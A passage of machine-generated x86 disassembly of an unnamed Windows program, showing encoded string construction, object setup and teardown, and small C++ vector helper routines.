		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 36h
		call	sub_4019B5
		add	esp, 64h
		mov	byte ptr [esp+370h], 37h
		mov	ecx, eax
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 38h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 3Fh
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 41h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+158h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 44h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3D4h], 48h
		push	13h
		lea	eax, [esp+94h]
		push	eax
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+170h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 50h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F70
		push	offset word_4E6E9A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		push	eax
		lea	eax, [esp+234h]
		push	offset dword_4437F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 14h
		push	eax
		push	offset dword_4437F4
		lea	ecx, [esp+268h]
		push	ecx
		call	sub_40102D
		sub	esp, 0Ch
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		push	eax
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1B8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E9A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+110h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473E4
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472C0
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_447309
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44739B
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401596
		lea	ecx, [esp+1D0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

